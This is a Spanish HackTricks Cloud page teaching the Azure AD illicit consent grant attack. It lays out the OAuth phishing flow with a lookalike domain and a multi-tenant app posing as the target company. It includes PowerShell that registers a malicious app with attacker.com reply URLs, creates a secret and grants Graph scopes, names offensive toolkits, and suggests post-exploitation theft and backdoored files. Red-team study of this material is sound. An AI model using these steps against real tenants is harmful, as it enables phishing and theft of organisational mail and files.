Español - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Az - Illicit Consent Grant

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Phishing de Aplicaciones OAuth

Las Aplicaciones de Azure solicitan permisos para acceder a los datos del usuario (información básica, pero también acceso a documentos, envío de correos electrónicos...). Si se permite, un usuario normal puede otorgar consentimiento solo para permisos de "Bajo Impacto". En todos los demás casos, se requiere consentimiento de administrador. GA, ApplicationAdministrator, CloudApplication Administrator y un rol personalizado que incluya permiso para otorgar permisos a aplicaciones pueden proporcionar consentimiento a nivel de inquilino.

Solo los permisos que no requieren consentimiento de administrador se clasifican como de bajo impacto. Estos son los permisos necesarios para iniciar sesión básica: openid, perfil, correo electrónico, User.Read y offline_access. Si una organización permite el consentimiento del usuario para todas las aplicaciones, un empleado puede otorgar consentimiento a una aplicación para leer lo anterior de su perfil.

Por lo tanto, un atacante podría preparar una Aplicación maliciosa y, con un phishing, hacer que el usuario acepte la Aplicación y robe sus datos.

2 Tipos de Ataques de Concesión de Consentimiento Ilícito

  • No autenticado: Desde una cuenta externa, crear una aplicación con los permisos User.Read y User.ReadBasic.All, por ejemplo, hacer phishing a un usuario y podrás acceder a la información del directorio.

  • ¡Esto requiere que el usuario pescado pueda aceptar aplicaciones OAuth desde entornos externos!

  • Autenticado: Habiendo comprometido a un principal con suficientes privilegios, crear una aplicación dentro de la cuenta y pescar a algún usuario privilegiado que pueda aceptar permisos OAuth privilegiados.

  • En este caso, ya puedes acceder a la información del directorio, por lo que el permiso User.ReadBasic.All ya no es interesante.

  • Probablemente estés interesado en permisos que requieran que un administrador los otorgue, porque un usuario común no puede dar ningún permiso a las aplicaciones OAuth, por eso necesitas pescar solo a esos usuarios (más información sobre qué roles/permisos otorgan este privilegio más adelante)

Verificar si los usuarios pueden otorgar consentimiento

El siguiente comando de PowerShell se utiliza para verificar la configuración de consentimiento para los usuarios en Azure Active Directory (Azure AD) con respecto a su capacidad para otorgar consentimiento a aplicaciones:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

  • Desactivar el consentimiento del usuario: Esta configuración prohíbe a los usuarios otorgar permisos a las aplicaciones. No se permite ningún consentimiento de usuario a las aplicaciones.

  • Los usuarios pueden dar su consentimiento a aplicaciones de editores verificados o de su organización, pero solo para los permisos que seleccione: Esta configuración permite que todos los usuarios otorguen su consentimiento solo a aplicaciones publicadas por un editor verificado y aplicaciones registradas en su propio inquilino. Agrega un nivel de control al permitir el consentimiento solo para permisos específicos.

  • Los usuarios pueden dar su consentimiento a todas las aplicaciones: Esta configuración es más permisiva y permite que todos los usuarios otorguen su consentimiento a cualquier permiso para aplicaciones, siempre que esos permisos no requieran consentimiento administrativo.

  • Política de consentimiento de aplicaciones personalizada: Esta configuración indica que hay una política personalizada en su lugar, que puede adaptarse a los requisitos organizativos específicos y puede implicar una combinación de restricciones basadas en el editor de la aplicación, los permisos que solicita la aplicación y otros factores.

Comprender el Ataque de Concesión de Consentimiento Ilícito

En un ataque de concesión de consentimiento ilícito, los atacantes engañan a los usuarios finales para que otorguen permisos a una aplicación maliciosa registrada en Azure. Esto se logra haciendo que la aplicación parezca legítima, lo que lleva a las víctimas a hacer clic en un botón de "Aceptar" sin saberlo. Como resultado, Azure AD emite un token al sitio del atacante, lo que les permite acceder y manipular los datos de la víctima, como leer o enviar correos electrónicos y acceder a archivos, sin necesidad de una cuenta organizativa.

Descripción General del Flujo del Ataque

El ataque implica varios pasos dirigidos a una empresa genérica. Así es como podría desarrollarse:

  1. Registro de Dominio y Alojamiento de la Aplicación: El atacante registra un dominio que se asemeja a un sitio de confianza, por ejemplo, "safedomainlogin.com". Bajo este dominio, se crea un subdominio (por ejemplo, "nombreempresa.safedomainlogin.com") para alojar una aplicación diseñada para capturar códigos de autorización y solicitar tokens de acceso.

  2. Registro de la Aplicación en Azure AD: Luego, el atacante registra una Aplicación Multiinquilino en su Inquilino de Azure AD, nombrándola según la empresa objetivo para que parezca legítima. Configuran la URL de Redirección de la aplicación para que apunte al subdominio que aloja la aplicación maliciosa.

  3. Configuración de Permisos: El atacante configura la aplicación con varios permisos de API (por ejemplo, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Estos permisos, una vez otorgados por el usuario, permiten al atacante extraer información sensible en nombre del usuario.

  4. Distribución de Enlaces Maliciosos: El atacante crea un enlace que contiene el ID de cliente de la aplicación maliciosa y lo comparte con los usuarios seleccionados, engañándolos para que otorguen su consentimiento.

Utilización de Herramientas para el Ataque

El ataque puede facilitarse utilizando herramientas como 365-Stealer.

Preparación Antes del Ataque:

Si el atacante tiene cierto nivel de acceso a un usuario en la organización víctima, podría verificar si la política de la organización permite que el usuario acepte aplicaciones:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Para ejecutar el ataque, el atacante necesitaría crear una nueva aplicación en su inquilino de Azure (en Registros de aplicaciones), configurada con los permisos:

User.ReadBasic.All está dentro de Microsoft Graph en Permisos delegados. (Los permisos de aplicación siempre necesitarán aprobación adicional).

  • User.ReadBasic.All es el permiso que te permitirá leer la información de todos los usuarios en la organización si se concede.

  • Recuerda que solo los roles GA, ApplicationAdministrator, CloudApplication Administrator y un rol personalizado que incluya permisos para otorgar permisos a aplicaciones pueden proporcionar consentimiento a nivel de inquilino. Por lo tanto, deberías phishing a un usuario con uno de esos roles si deseas que apruebe una aplicación que requiere consentimiento de administrador.

También podrías crear una aplicación a través de la CLI con:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Consulta https://www.alteredsecurity.com/post/introduction-to-365-stealer para aprender cómo configurarlo.

Ten en cuenta que el token de acceso obtenido será para el punto final de graph con los alcances: User.Read y User.ReadBasic.All (los permisos solicitados). No podrás realizar otras acciones (pero son suficientes para descargar información sobre todos los usuarios en la organización).

O365-Attack-Toolkit

También puedes usar esta herramienta para llevar a cabo este ataque.

Post-Explotación

Una vez que obtengas acceso al usuario, puedes hacer cosas como robar documentos sensibles e incluso subir archivos de documentos con puertas traseras.

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

AnteriorAz - Unauthenticated Enum & Initial EntrySiguienteAz - Device Code Authentication Phishing

Última actualización